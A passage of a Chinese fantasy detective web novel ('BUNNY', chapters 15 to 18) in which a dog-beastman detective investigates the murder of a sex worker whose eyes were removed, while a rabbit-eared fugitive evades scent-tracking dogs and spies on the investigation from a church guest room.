死者虽然被生挖眼球,但令人意外的是,眼眶周围几乎没有血液流出的迹象。仔细看便发现,伤口周围有一层轻微的灼伤痕迹,比一般火焰灼烧伤更加细腻,且没有留下任何气味。 很显然,凶手在挖取眼球的时候,使用了某种特殊的手法,使得伤口性状发生了变化,究其目的,大概是从一开始就想好了要减少血液喷溅,提防猎犬嗅到气味信息。 挺狡猾的。 闻玉白继续检查——尸体的下/体有很惨烈的撕裂痕迹,应当是生前遭到了手段残忍的侵害,而下巴有明显的脱臼现象,齿缝间还残留有亚麻纤维,手腕、腰腹、腋下还有明显的勒痕,应该是用绳子捆绑造成的。 闻玉白思忖良久,喃喃道:“被绑过?” 警员支支吾吾地回答道:“这个……我们也注意到了,但是,就是吧……她们这个职业……这种,就很正常的……” 闻玉白知道他的意思,无非是客人有什么特殊癖好,所以被害人有这样的伤痕也很常见。 但这些勒痕不仅周围红肿,甚至有的已经深深地勒进了肉里,很明显在捆绑过程中,受害人产生过剧烈的挣扎。 这触及到了闻玉白的知识盲区——人类玩癖好,真的会玩到这种程度吗? 闻玉白又观察了一下四周的环境——与其说这是一条巷子,不如说这是两栋房子之间的一条宽缝。路的尽头是死胡同,两边别说是门户,甚至连个能透声的窗户都没有,唯一的光源只有头顶的太阳——在夜间便只有朦胧的月光了。 按照他们先前的推断,被害人是走夜路时在此遭到了袭击,但真的会有人在这种死胡同里走夜路吗? 不用猜也知道,这群人一定会用“慌不择路往里钻”、“ji女就喜欢在这种地方搞勾当”之类的理由糊弄过去,但是,凶手真的能在这样昏暗的情况下,精准地挖掉被害人的眼球吗? 虽然从现场的血迹来看,这里一定是凶杀的第一现场,但凶手真的是尾随路人、碰巧选择此处作案的吗? 闻玉白心中另起猜测,但也懒得跟这群人类解释辩驳,便安排道:“统计一下近一个月来失踪未归、下落不明的女性,张贴一下告示,鼓励知情者报案。” 说完,他拍拍手:“叫人把尸体收拾收拾,现在去找眼睛。” “什么?”警官有些没反应过来,“您是有思路了……?” 接到报案后,全城警方都开始大力搜索被害人丢失的眼球,但即便全镇的猎犬都已经出动,也没有任何线索和结果。 闻玉白没有理会,而是径直带人来到了不远处旧教堂前,站定,朝广场正中央那巨大的圣坛扬了扬下巴: “答案都给了,还要什么思路?” 一刻钟后,猎犬在巨大的圣坛中央发现了一只被丢弃的密封酒瓶。 那是一只商店里随处可见的透明酒瓶,瓶口用木塞封闭,酒瓶内浸泡着的,正是奎尔·布朗那双美得摄人心魂的蓝色眼球。 眼球的水落石出,让调查组一阵振奋,但闻玉白拿到瓶子,却没有半点情绪波动:“别太乐观,没有什么有价值的信息。” 旧教堂门口的圣坛,是平日里教徒们投放贡品的地方,是传说中“与神明连接的通道”,因此,被埋在大量贡品中的酒瓶很难被发现。同样的,从圣坛中取出之后,酒瓶也早已沾染了几乎来自整个镇子的气味,根本分不出谁是凶手。 甚至,如果再迟半个钟头,圣坛会举行每礼拜固定的“祭礼”。教堂的牧师会将祭坛的贡品点燃祭天,即便是神仙来了,也没办法救回这对眼睛了。 对方是个聪明人,闻玉白心想——对付嗅觉灵敏的猎犬,干扰掩藏永远比抹除气味更有效果。 “没关系……”警员看着那瓶中眼睛,颇为感慨道,“眼睛找到,总归让布朗小姐安心一些了。” 闻玉白向来懒得共情人类的复杂情感,他抬起头,看了看广场正中央,那抹恹恹的太阳。 他自认为对这里的“注视”还算免疫,但不知是不是他的错觉,他总觉得这里的太阳忽闪忽闪的,叫他后背一阵凉得难受——妈的,真烦。 同行的警官似乎也有同感,打了个冷颤也跟着搓了搓胳膊:“又‘睁眼’了,这次有点早啊……” 闻玉白:“睁眼?” “哦,就是指每个月‘注视’最强烈的一段时间。”警官解释道,“长官如果在这里住一段时间应该就能感觉到了,这里的‘注视’是有阶段性强弱的,就像人类会眨眼睛一样,‘睁眼’时注视最强,‘闭眼’时注视最弱,有些精神敏感的人可能会受到比较明显的影响,所以很多人都不愿意在埃城久留……” 闻玉白闻言,又低头看了看手里那只玻璃小瓶,瓶中的双眼也就这样直勾勾望着他—— 如同一道永不闭合的视线一般注视着他。 在闻玉白忙着现场勘查的时候,雪茸终于听饱了八卦,心满意足地从人群里钻了出来。 莱安从头到尾都没敢转移视线,生怕眨眼功夫,那兔子就在自己眼皮子底下给弄丢了。 还好这家伙虽然一身机灵,但到底是个走路需要拄拐儿的病人,莱安三步并两步穿过人群,守在他的身边——也不知道是谁要守护谁,总之心里一下子就踏实了。 跟着雪茸远离人群之后,莱安急不可耐地开口,仿佛一直被迫装哑巴的人是他不是雪茸:“哥,你不会要调查这个案子吧?” 雪茸顿住脚步,回过头,像是看傻子一样看他:“你疯了吗?调查案子是条 15.目光女神015 《BUNNY》全本免费阅读 此时此刻,闻玉白那位素质极佳但经验尚且不足的傻狗弟弟,险些迷失在了这遍地开花的兔子味里。 “汪!”大伯恩山犬在街头的卖肉摊前坐下,吐着舌头,第十三次发出“发现猎物”的信号。 随行的警官将信将疑地低下头,看着已经快被涂满的地图,又看了看目光笃定的闻长生,还是选择再添一笔。 他不知道怎么跟这只可爱的狗狗解释,一个正常的、只有两条腿的人类,是不大可能在一天之内走遍这么多、这么远的地方的。 但他还是尽职尽责地询问摊主老板:“请问最近有一位兔子耳朵的男人来过店里吗?” 老板看到这样的阵仗,下意识紧张起来,回想了半天才吞吞吐吐地回答道:“……记、记不清了,好像没看到。” 毫不意外,警员准备拿出羽毛笔准备记录,可刚放下手中的绳子,闻长生就站起身来,摇摇尾巴,叼着狗绳的一端放到他的手里——好像生怕别人不牵着他似的。 警官看了一眼这毛乎乎的狗头,忍不住伸手摸了摸——真的太可爱了!这么可爱的狗狗,就算出错了又有谁会忍心怪他呢! 长生虽然看起来傻乎乎的,倒也毕竟是顶尖精英级别的猎犬,抬头看见那满是圆圈的地图,想了想,似乎也明白了些什么。 不得不开口说话的时候,闻长生就会变成人形,但他还保持着乖乖蹲在地上的姿势,下意识想抬腿挠挠下巴,直到动作别住了,才反应过来自己此时是个人。 于是他甩甩头 ,站起身来,接着看向临时掌管他的警官,非常真诚地说:“感觉有点不大对劲!” 不管他说的是自己变成人这件事,还是到处是兔子味道这件事情,确实都不大对劲。警官点头说:“是的!” 闻长生模仿人类思考的动作,摸了摸下巴,又走进肉摊店闻了闻,直到鼻尖停在小摊的桌上、那个沉甸甸的铁罐前。 闻长生伸手扒拉开罐子,直到看见满满的银币,他的动作停滞了下来。 “哇哦!”闻长生眨了眨眼,好像是想明白了什么,绕着铁罐子原地打了个转。 “钱?”警官问道,“他是来这里买肉吃了吗?” 闻长生又凑到店老板面前,亮着眼睛抱着毛爪子作揖:“可以让我进去闻闻吗,老板?” 闻长生不管是兽态还是人形,都非常讨人喜欢,店老板也忍不住伸手摸了摸他凑过来的脑袋,方才的紧张害怕也都不见了:“可以!” 在警官的牵引下,闻长生低头在店里快速扫描了一通,很快得出结论:“除了罐子里的银币,其他的地方都没有很明显的兔子味,所以兔子应该是没来过!” “可是……他的东西……”警员说了一半,才想明白了,“啊!” 闻长生嘿嘿乐道:“这可不算是他的东西。” 若是衣服或者挂件,十有八九是兔子亲自留下来的物件,但钱可是唯一一个不需要他本人到场,就能带着他的气味迅速走遍天涯海角的媒介。 警官又低头看了一眼被画得花里胡哨的地图,这才后知后觉,他们早已经掉进了兔子留下的圈套。 “真是个狡猾的兔子!”闻长生兴奋地摇摇还没收回去的尾巴,面上是一尘不染的阳光灿烂、真挚无邪,“好想把他吃掉!!” 与此同时,那位正被猎犬垂涎的“狡猾的兔子”正在解释:“这些银币我特意让梅尔帮忙,放到我平时经常穿的衣服里,就是为了等这一天。” 听到这里,莱安愣了半天,才恍然大悟——即便雪茸非常注意掩藏气息,但如果是能力出众的猎犬,也不可避免地会嗅到蛛丝马迹。 所以,与其绞尽脑汁让自己“隐身”,倒不如让沾着自己气味的银币流向整个大陆,让全世界都是自己的踪迹。 “原来如此!”莱安不免心生佩服——这人真的是太狡猾了!自己跟着他走,应该会很安全吧! 但他忘了,这人善于脱离危机,但更擅长创造危机,比如亲手挥霍掉了满口袋的钱,导致马车上除了梅尔专用小鱼干,其余的什么也不剩了。 此时,饿了一路的OO终于体力不支,像一滩牛奶一样从莱安的口袋里流了出来,翻着白眼,肚子叽里咕噜一阵乱吠。 看着摊在地上的一面鼠饼,莱安赶紧把他捧回手心,斗着胆儿望着梅尔。 他亲眼看见这个不和善的猫,朝他翻了个冷冰冰的大白眼儿,但还是装模作样地迈着猫步走开,把自己的小鱼干让了出来。 莱安赶紧捏了一根小鱼喂到OO的嘴边,那小家伙闻到味儿,直接被自己的口水呛醒了,抱住小鱼头就咔咔啃起来。 莱安满怀感激地抬起头,梅尔倒是并没有搭理他们,只是迈出前爪伸了个懒腰,便假装什么都没有发生一样走了——他真是个大好人!!莱安心想,他和雪茸可以说是完全相反,有些人表面和善温柔,背地里比谁都狠心,而梅尔虽然嘴巴毒得能杀人,但心肠倒是相当软的。 真好啊,自己的身边又是聪明人,又是大好人。莱安忽然对自己的处境感到了前所未有的乐观。 在马车里短暂休息片刻后,誓死不愿吃鱼干的雪茸终于饿了。他一边躺在沙发上摆弄着手里的机械小狗,一边伸着脖子道:“梅尔——我好饿——我们去化缘吧——” 正趴成一团睡觉的梅尔睁开眼睛,有些恼火地竖了竖背上的毛,但还是变成人形去驾车了。 马车慢悠悠开起来,雪茸苍白的脸色也恢复不少。转身在身后的小箱子里翻找起来。 看莱安好奇地探过身去,雪茸主动解释道:“虽然是要化缘,但总不能吃白食,临走前多少得送点礼物给人家。” “……”莱安不想拆穿他——这人哪是想送什么礼物,不过是随手留下自己的气味,继续扰乱猎犬的工作罢了。 正在驾车的梅尔听到了,冷着声音警告道:“别动我东西。” “放心吧,你的东西我碰都不会碰的。”雪茸一边扬声回答他,一边笑着 16.目光女神016 《BUNNY》全本免费阅读 同一时间,在他们的目的地附近,闻玉白刚刚结束初步的现场勘查,终于脱离了满是血腥味的现场。 同行的牧师给他端上了一杯金盏花水:“长官,要不要喝点儿?” “不用了。”闻玉白是半点儿都喝不下。闻了那么久的高浓度血腥味,这点东西当然润不了嗓子,他现在只想喝点温热的——比如咬断一只兔子的大动脉。 这样的联想让他浑身都开始烦躁得发热,在决定开口前,闻玉白想了想,又吞了一粒抑制药——今天已经超出剂量两倍了,过量服用会让他失去嗅觉,也许是让他丢掉了破案的法宝,但对他本人来说,却是如释重负。 过于灵敏的嗅觉,对他来说早就是一种无比沉重的负担了。 吃完药再抬头,闻玉白便觉得整个人冷静许多,思路也被打通了。 他捏了捏鼻梁,发现真的什么都闻不到了,便开始梳理起线索来:“首先是死亡时间,根据尸僵可以判断,差不多是在昨天夜里十二点以后、凌晨三点之前。” 闻玉白虽然态度懒散,但工作效率颇高。他低头看了眼自己做的笔记,分析道:“根据尸体的状态来看,凶手应该有绝对压制性的力量,可能是一个身形高大的成年男子,也不排除团伙作案的可能性。” “从尸体身上的刀痕还能判断出来,凶手应该熟练使用刀具,并且精通人体结构。”闻玉白思索片刻,道,“可以重点查一下这段时间新来埃城的外科医生、屠夫,其他具有以上特质的人,也应该纳入筛查范围。” 小警员一边听一边记录,说实话,这只猎犬虽然不是自己想象中那样,一鼻子就能嗅出凶手,但跟他在一起工作,确实很踏实、很有安全感。 “具体的分析,回头让人写一份报告出来。”闻玉白合上本子,“现在带我去走访一下被害人的社会关系、顺便再去看看那位病倒的牧师。” “好。”警员点头,给他带路,“都在不远,死者生前工作的地方就在案发现场附近,牧师就住在旁边的旧教堂,都顺路,步行就到了。” 不久之后,空荡荡的车厘街内,一队警督猎犬浩浩荡荡涌了进来。 毕竟发生了命案,自然直接影响到了大家的生意。狭小幽长的巷道里,平日人来人往的小路此时一下子冷清了很多。 面对这门可罗雀的萧条,暂时没有生意的姑娘只能站在店门口,朝着偶尔经过的行人竭尽所能地抛着媚眼、搔首弄姿,恨不得把“亏本清仓大甩卖”挂在胸前,贴在脸上。 这大概也是这类人频繁出事,但又从来“不知悔改”的原因——谁不知道干这行下作、危险,又有谁宁愿顶着命案的晦气也不愿缺勤一天?毕竟想要生活,就得好好赚钱。 闻玉白仔细观察着周边的街区环境和人员成分。 这里有人类也有兽人、有穷人也有富人,平时身份差异巨大的种族阶级,在这一方小小又腌臢的天地里,毫无芥蒂地交流融合了。 闻玉白身材高大、穿着体面、长相俊朗,还是个从没见过的陌生面孔,自然成了这条街上的抢手饽饽。 有姑娘掐着蜜似的声音唤他,还有人朝他勾着长尾巴嬉笑,但却没人敢正经走上前去的——这人看起来有点凶,一些拉客惯用的小伎俩,倒是有些不大敢使出来了。 跟在闻玉白身后的警员瞪着眼,指着她们的脸发出警告,带头的闻玉白到好像是什么都没看见、什么都没听见似的,目不斜视、面无表情地穿过街巷,来到被害人奎尔·布朗平时工作、居住的地方。 这个地方藏在巷子很深处,门口挂着一张旧褪色的帘幔,帘子后是黑洞洞的房间。 这里没有牌匾,也没有任何标志,只是藏在这种地方,所有人都对它的存在心知肚明。 推开帘幔的时候,闻玉白就庆幸自己暂时关闭了自己的嗅觉——脏乱的沙发、靡乱的男女、四处纷飞的衣物…… 光是看这些画面,闻玉白都觉得有些微微头痛起来。 配合问话的是奎尔·布朗的“同事”和“老板娘”,统共也只有堪堪四人,因为命案的事情,大家显然早没有心思做生意了。 面前的姑娘们一个个面色苍白,早晨起来妆此时已在脸上一片斑驳,显然有人是痛哭过的。 警官以为是姐妹情深,看到好朋友去世难免悲痛,但仔细一问才知道,大家更多是对自己的处境感到担忧,对这位潜伏在她们身边的杀人犯感到恐惧。 “这、这日子还怎么过……”一位姑娘一开口,豆大的泪珠就卷着斑驳的底妆,扑簌簌流淌下来,“谁知道下个是不是就轮到我?” 情绪的传染能力很强,不一会儿姑娘们就哭成了一团。闻玉白不擅长应对这些,只能硬着头皮将他们一个一个带到隔壁单独问话。 奎尔·布朗生前就是在这里的一家店面工作。据了解,她并不是本地人,大约在遇害前一个多月才从南方城市搬来埃城,在这里从事着廉价se情服务,还没跟大家熟络起来,就已经出事了。 “干我们这一行的都这样,来来去去的,根本留不住人。”店里负责拉客的老板娘耸耸肩,说,“尤其是埃城,没有多少人能接受每天被‘盯着’,所以能待得住的人很少,你问我我也答不上来什么。” 换句话说,就是老板娘想撇清责任,不愿过多回答关于奎尔·布朗的相关问题。很显然,她也教过其他女孩儿不要乱答,问来问去,得到的答案都是如出一辙的糊弄。 闻玉白就当没听见,继续问道:“你最后一次见到她是什么时候?当时她有没有跟谁有过接触?” “我只听说她被人看上了。”老板娘说,“他们有钱人就喜欢这种水灵的。” “被人看上了?”闻玉白问,“是谁?” “不清楚啊,我也只是听说。”老板娘道,“那丫头长得好看,听说又会跳舞,本身就是抢手饽饽,我们这种小地方留不住很正常的。” 闻玉白:“小地方留不住?她是去别的地方了?” 老板娘开始不耐烦了:“我不知道!我都是听说的!她都好一阵子没回来了,你问我我能知道什么!” 老板娘拒不配合的态度让同行的警官很不爽,闻玉白却颇有耐心地点点头,说:“所以她昨天晚上不是在店里,对吗?” 17.目光女神017 《BUNNY》全本免费阅读 直到马车载着少女的身影离开了视线,身后的警官才小心地唤道:“闻先生?” 看见闻玉白回过神,警官才试探道:“是有什么发现吗?” 闻玉白回头,又看了一眼马车消失的街角,淡淡道:“没有。” 没有“午夜刽子手”的线索,但是有兔子的线索,这早已不在他的工作范围内,但却是他一直以来惦记着的私仇。 看来没来得及逃走。闻玉白轻挑眉尾,装作不经意般问道:“还在封城?” “对。”警官说,“皇室那边施压了,说是一定要尽快抓住嫌疑人。所以可能会一直加大排查封锁力度,直到案子了结。” 看来兔子一时半会儿是逃不掉了,闻玉白的心情愉悦起来。 实际上,如果他刚刚冲上马车,直接将人生擒,以他的能力现在肯定满载而归了。 但他偏不。 闻玉白回想起那家伙硬撑着一口气、还坚持要挑衅自己模样,忽然产生了一个念头——这家伙,得好好陪他玩玩儿才行。 街角处的马车里,雪茸把探出窗外的半张脸收了回来,关上窗帘,然后回头看向莱安。 莱安本来正抱着OO打盹儿,一看雪茸这副欲言又止的表情,忽然就绷不住了:“哥你是不是有话要说?” 雪茸没有立刻坦白,只是问道:“我这个样子,能看得出来我原本的长相吗?” 莱安不明就里,但还是非常认真地上下审视了一番——自己第一次看他女装时,大概是时间紧任务重,那人几乎是带了个假发抹了个口红就出来了,所以当初自己很轻松就认得出来。但这一回,梅尔用那堪称鬼斧神工的技术,几乎已经给雪茸换了一张完全不一样的面孔。 “很难。”莱安坦诚道。 看到他松了口气的模样,莱安反而紧张起来:“……怎么了?” “没事儿。”雪茸转过身,给自己倒了杯红茶压惊,“刚刚看到狗了。” “哦……”莱安反应了几秒,才惊慌起来,“啊??猎犬?!!” 雪茸摘下帽子,“biu”地一下,长长白白的兔耳朵滑落出来——耳朵都冒出来了,看来确实是吓得不轻。 “嗯。”雪茸捋了捋自己的耳朵,又喝了口茶,平静地陈述道,“我还跟他打了招呼。” “……!!”这回该莱安绷不住了,“什么?!那他发现你没有??” “不知道。”雪茸又喝了一口茶,“他一直盯着我看,但是没追上来,那就当没发现好了。” “……”莱安崩溃了,“这是想当就当的吗?!” “那还能怎么办呢?路封住了又出不去。”雪茸干脆躺回椅子上闭目养神,“别想太多,车到山前必有路,船到桥头自然直。” “……”莱安不知道该说什么——挺好的,精神胜利也是一种胜利吧。 雪茸抬眼盯着眼前那扇小窗子,脑海里却又闪过那个人,那双冷冰冰的眼睛——别的不说,那家伙长得还挺好看的。 可惜了是条狗。 半小时后,马车终于开到了镇中心的旧教堂边。 这座教堂算得上是埃城的标志性建筑,虽然不算高耸也不算华丽,但那古朴的质感?浸润在阳光下,仿佛是被历史遗落下来的一笔精致的遗产。 不规则的石块砌成的墙壁上,蒙着一层厚厚的苔藓,那颇为古老的石砖之间,嵌着一排排光亮的金属齿轮。这种新旧交叠的感觉,就好像是旧时光编织了一件斑驳的圣衣,却被年轻的信徒缝上了崭新的纽扣。 和大陆所有的城镇一样,教堂就是整个埃城的最核心。即便是发生命案,警方也尽可能缩小封锁范围,不敢对来往的信徒有半点儿影响。 ——饭可以不吃,觉可以不睡,耽误了大家做礼拜,那可是不可饶恕的重罪。 看着一边堵得水泄不通的小巷子,又看了一眼人来人往络绎不绝的旧教堂,莱安几乎快要昏厥过去——很好,继恐高之后,他又患上恐人了。 来到教堂门口,雪茸整理好着装,跳下车便头也不回地钻到人群中去,莱安已经习惯这人不打招呼就到处乱窜,赶忙三两步跟上他的步子。 这一回,梅尔难得也跟了过去——现在的情况他不出面是不行了,谁叫雪茸和莱安,一个是不能说话,一个是不会说话。 旧教堂面积不大,风格也与大陆整体风格十分贴近——正中央的机械之心?雕塑、内部精雕细刻的机械图案、挂满机械仪表的华丽长廊…… 教堂内,除了前来礼拜的信徒之外,还有一位年近中年、面目慈善的神父。 他慢悠悠走在教堂中,抬头看见屋侧的油灯忽闪着熄灭,便呼唤道:“孩子们,出来干活了!” “呼啦啦”一声,一群巴掌大的小蜥蜴人从四处聚拢而来。它们飞上屋顶侧方的油灯前,从口中喷出火焰,合力将吊灯壶中的燃油点燃—— 它们是供职于教堂的照明工,微弱的火魔法可以让这个身份低微的种族找到一份糊口的工作,教会的一份小善心,让它们至少不会因为贫穷而饿死街头。 小蜥蜴点完灯之后,又呼啦啦围到神父身边。神父挨个儿摸了摸他们的下巴,又撒了一把面包虫投喂。 莱安正躲在雪茸身边看得出神,没注意口袋里馋得发疯的oo,直接哧溜一下蹿了过去。 回过神的时候,那家伙已经愉快地钻到蜥蜴堆里,吸溜吸溜大快朵颐起来。莱安赶紧去捞鼠,就听见神父笑起来:“嘿哟,看来是饿坏了,就让它吃吧。” 这个神父慈眉善目的,看上去就不像是个坏人,莱安一下子放下心来,与此同时,雪茸也提着裙摆、踩着他的小高跟,在梅尔的搀扶下来到了神父的面前。 两个平时嚣张跋扈的家伙,此时非常乖顺地在神父面前行了礼。 “伟大的神父。”梅尔垂着眸子道,“冒昧打扰,还想请您帮帮我们。” 原来这人还会用敬语!莱安大为震撼,不过很快也想明白了——要饭么,不寒碜。 神父看出他们有困难,便领着他们来到后门——这是教堂里神职人员平时休息的地方,神父一家子就长住在这里。 “是这样的,我们偶然路过埃城,结果刚好遇到了封城。”梅尔背着猫耳朵,即便没有什么表情,但看起来却非常楚楚可怜,“不巧,身上的盘缠用光了,住不起旅店,本来想着在马车上凑合一下,但大小姐她不会说话,身体还不大好……” 正说着,雪茸便捏着嗓子“咳咳”起来,一副弱柳扶风的模样。 梅尔顺势看了一眼莱安,莱安收到信号,赶紧红着脸乞求道:“……求求您了好心神父大人,发发善心帮帮我们吧。” 吃饱喝足的OO也赶忙爬到莱安的肩上,给他作揖:“啾啾!!” 慈眉善目的神父一听,发自内心地怜悯起来:“可怜的孩子们!我是神父,我的使命就是竭力去帮助遇到困难的人!我愿意给你们提供一处避风港,助你们早日渡过难关!请跟我来……” 神父一边说着,一边带他们去教堂后的客房休憩。据介绍,神父姓莫里斯,有个跟莱安看起来差不多大的女儿,所以看着他们,就跟看自己的孩子一样亲切。 “我女儿的学校已经放假了,等她回来,一定跟你们很玩得来。”神父一边笑着,一边看向墙上的那面时钟,忍不住喃喃自语道,“怎么还不见影儿,这丫头又去哪里贪玩了?” 神父的真诚善良,让莱安愧疚万分,但是那俩缺德的倒是脸不红心不跳地接受了神父的善意。 按照他们的话说,行善是他们修行中不可缺少的一部分,他们这是千里迢迢送业绩来了。 好吧……挺好的,莱安也只能这样跟着安慰自己。 与此同时,车厘街对面的群租房内,闻玉白在老板娘的带领下来到了奎尔·布朗的住处。 和老板娘描述的一样,奎尔的房间虽然小,但是整理得干干净净、一丝不苟,看起来不像是个生活糜烂ji女、而像是个青春期少女该有的房间。 闻玉白在屋内快速扫视了一圈,然后得出结论:“这房间住了两个人。” 经他这么一提,大家才发现,这里很多日常用品都是双份的,再看老板娘的表情,显然也是完全不知情。 警督问道:“是不是交男朋友了?” “不知道,没听说啊!”老板娘懵了,“平时看起来也没有什么异常啊!” 闻玉白皱起眉戴好手套,径直走到奎尔布朗的床边,在枕头下面,他找出了一块半个手掌大小的小物件。 这是个铜制的卡片,卡面上用很细致的工艺,雕刻着精美的花纹,花纹中间便是一个花体字的名字——这是一张班德尔机械学院的学生证。 看着闻玉白拿着铁片研究,有人便道:“现在的学生,早熟得很呐!” 闻玉白没有搭理他,只是嘀咕了一句:“女的?” 有人一听,扬了扬眉,笑起来:“女的跟女的,也有!” 还没等闻玉白不耐烦地皱起眉头,老板娘就有些疑惑地凑了过去。 闻玉白将牌子递给她,看到名字的那一瞬间,她明显怔愣住了:“阿丽塔?这不是莫里斯神父家的女儿吗?” 老板娘这句话引起了在场所有人的注意,虽然闻玉白不认识什么神父的女儿,但光是看她的反应也猜得出来,这个人按照常理,并不应当出现在这个地方。 听到老板娘的呼唤,本来录好口供跟着来现场的姑娘,也探过头来:“嗯……我前不久确实是看到过阿丽塔和奎尔待在一起的,具体是干什么我就不知道了。” 闻玉白问:“那你们最后一次见到奎尔的时候,阿丽塔和她在一起吗?” 姑娘思考了很长时间,才有些不确定道:“……好像是吧,但我上一次见到她们,也有大概一个星期了。” 在这种地方,姑娘们的行踪一个赛一个神秘,人际关系也是一个比一个复杂。奎尔又是新来的跟大家玩不到一块儿去,自然也没有人深挖她和阿丽塔的关系,能记得两个人共同出入过,都已经是很难得的线索了。 除了那枚名牌之外,卧室旁的小桌上还放着一把小螺丝刀,极大可能是阿丽塔留下的。 种种迹象表明,奎尔·布朗遇害之前,大概率是和阿丽塔生活?在一起的。 闻玉白带走了那块名牌,道:“去找阿丽塔·莫里斯。” “阿丽塔·莫里斯……?” 教堂后的住宿区,雪茸站在一扇木质的房门前。 眼前这扇木门上挂着牌匾,上面用娟秀的字体写着房间主人的名字——“阿丽塔·莫里斯”。 门是最简单不抗造的简单木料做成的,但与此相呼应的,是门把手上一把非常精致的锁。 这锁的结构很显然不是市面上流通的,大概率是房间主人自己做的东西,虽然用到的技术并不复杂,但是雪茸只是扫视了一眼,便能看出来背后主人制作时非常巧妙的思路。 技术尚且稚嫩,但真的很有天赋。 听莫里斯神父说,他女儿是机械学院的学生,眼前这把锁很好地证实了这个消息——这绝对不是一个门外汉能做出来的玩意儿。 现在,门锁着,雪茸知道自己能打开,他不至于缺德变态到擅闯小姑娘房间的地步——尽管跟他一起偷溜过来的OO十分好奇。 雪茸蹲下身来,看着这只肥仓鼠用小爪子奋力刨门:“你想进去?” OO打心眼儿里有些怕他,但是很显然,面前这扇门对它的诱惑,稍稍胜过恐惧一筹。 它缩着脖子打量了一眼雪茸,还是毅然决然回过头,继续它愚公移山般的刨门伟业。 雪茸看着它飞出残影的爪子,又看向他魂不守舍般的神情,挑起眉:“里面有东西?要我帮你开门?” 听到这句问话,OO转头看向雪茸,两眼放光地点点头,恨不得牵着雪茸帮他开锁:“啾啾!!” 雪茸盯着那门锁看了片刻,又弯着手指给它脑门上来了一板栗:“你不要脸。” OO被敲得眼冒金 18.目光女神018 《BUNNY》全本免费阅读 去寻找阿丽塔·莫里斯之前,闻玉白再次仔仔细细搜查了一遍奎尔·布朗的出租屋。 和屋子里干干净净、一丝不苟的整体风格不同的是,奎尔床上的被子,在闻玉白搜查前就是掀开的,床单上有自然褶皱,应该是起床之后没有整理床铺。 “真不像她。”老板娘见状也觉得奇怪,说,“她爱干净得不得了,每次陪完客人都会把床单洗得干干净净,被子什么的都叠得整整齐齐。” 说完又嘀咕了一声:“这可能是阿丽塔睡的吧。” 床上有一个枕头,枕头边并排放着一块被叠成小方块的枕巾,上面有被睡过的痕迹,看来阿丽塔和奎尔平时是睡在一张床的——当然,这个小出租屋内,也没有空间可以放第二张床了。 闻玉白没有理会这个自圆其说的解释,继续检查客厅边的小灶台——灶台上有一个盖菜的罩子。 罩子底下放着几个备菜用的小碟子,一个上面放着四片干硬的面包,和一块看起来有些变质的黄油。 “至少三天。”闻玉白说,“至少三天没人回家了。” 而且不仅如此,离开时没有叠被子,灶台上还准备了第二天早上的早饭,可见她们俩的离开应该也只是个临时且匆忙的决定。 或许就是这个决定,葬送了奎尔的性命。 闻玉白盯着那床铺——房间内并没有打斗的痕迹,门窗也检查过,并没有被破坏的迹象,也就是说,至少不可能是歹徒突然闯入,在出租屋内行凶。 那又是什么样的决定,让一贯爱整洁的奎尔连床铺都来不及打理,就匆匆离开了? 深更半夜、没有打斗痕迹、没有留言讯息,闻玉白判断道:“极有可能是熟人作案,重点排查她们俩的人际关系。” 现场的痕迹并不能推测出更多的信息,但根据目前种种线索,闻玉白的侦破思路也更加清晰起来—— “另外,要抓紧时间把近期失踪失联的人员名单给我,同时加强夜间巡逻,受害人数量可能还要进一步增加。”闻玉白吩咐道,“现在去看看阿丽塔·莫里斯的情况。” 说罢,他们便启程动身,前往阿丽塔·莫里斯所在的旧教堂。 路上,一行人健步如飞,其他人员也兵分几路,按照闻玉白的吩咐,各自展开调查。 “阿丽塔·莫里斯会不会有可能就是凶手?她完全可以利用相熟的关系,把莫里斯骗到屋外进行绑架杀害,并且不会留下任何痕迹。”随行警员分析道,“虽然她年纪小、力气弱,但毕竟她擅长使用和操作机械,绑架杀害一个和她体型相当的女性,应该不算太难。” “不排除这种可能。”闻玉白说,“不管她是被害者还是凶手,都得好好调查她的情况、尽快找到她才行。” 稍早前,旧教堂供人借宿的塔楼内。 梅尔帮雪茸收回耳朵之后便从窗台溜了出去,好半天过去,不敢翻窗的莱安少年,终于还是按捺不住,走大路摸到了雪茸的房间前。 他敲响门的时候,雪茸正拿着工具箱,捣鼓房门上的小洞眼。 这番做贼的架势又让莱安警铃大作,看着满地散落着的镜片、铜管,忍不住问道:“哥,你又在捣鼓什么呢?” 雪茸正在埋头旋紧最后一根螺丝,直到确定旋紧了,才抬起头,弯着眼睛介绍道:“远程望远镜。” 虽然雪茸摆了一地的工具,但仔细看,他做出来的“成品”其实很小,不仔细看根本很难察觉——门洞上原本有一只猫眼,现在被雪茸安上了一片小小的凸面镜片,凸面镜对面的墙面上,原本的穿衣镜被稍稍调整了角度,而墙上原本的金属水管被人用扳手调整了方向,黑洞洞的金属管口,正对着墙上的那面镜子…… 莱安看着那根延伸到楼下的水管,明白了什么似的睁大眼睛,道:“你……” “没错。”雪茸坦然道,“一会儿警方肯定要去搜对面的房间,十有八九会把这层的人赶到楼下去,所以我特意把望远镜接到楼下了,你和梅尔的房间都能看得见。” 莱安愣了半天,才崩溃道:“你费这么大劲就为了看对面的热闹吗??” 雪茸不慌不忙地收起地上的工具,说:“是啊,你知道吗?你口袋里那个小东西对那个房间很感兴趣,既然我不能自己打开那扇门,别人进去的时候看一眼总可以的吧?” 莱安眨眨眼,又看了一眼自己口袋里的OO,那家伙确实在来到这层楼之后,就显得特别兴奋,如雪茸所说,它好像确实对那个房间很感兴趣。 但他关注的重点却完全歪了:“为什么不能打开?难道还有你打不开的门?” 雪茸抬起眼,用一种带着怜悯的眼神,仿佛在看一个无可救药的变态:“因为那是女孩子的房间。” “啊……”居然是这么正经的理由,习惯了看雪茸缺德,莱安居然一下子不适应起来。 绕了好半天,莱安才想起自己急匆匆赶上来是在做什么:“哥,听说警督要来,还有那个猎犬……!” “梅尔早就跟我说了。”雪茸指了指自己做的凑热闹专用偷窥装置,“不然我做这个干嘛?” 莱安被他的镇定唬住了,半天才反应道:“那你……那我们怎么办?” 雪茸笑笑,问他:“警督来是干嘛的?” “啊?”莱安反应了一下,“……调查杀人案的。” 雪茸又问:“人是我们杀的吗?” 莱安眨眨眼:“不、不是。” “对啊,那我们紧张什么?”雪茸拿起手杖,轻轻敲了敲他的头顶,“别害怕,继续做你想做的事,猎犬这边,我来搞定就好。” 送走了莱安之后,雪茸实在闲得难受,就悠哉悠哉在教堂里闲逛起来。 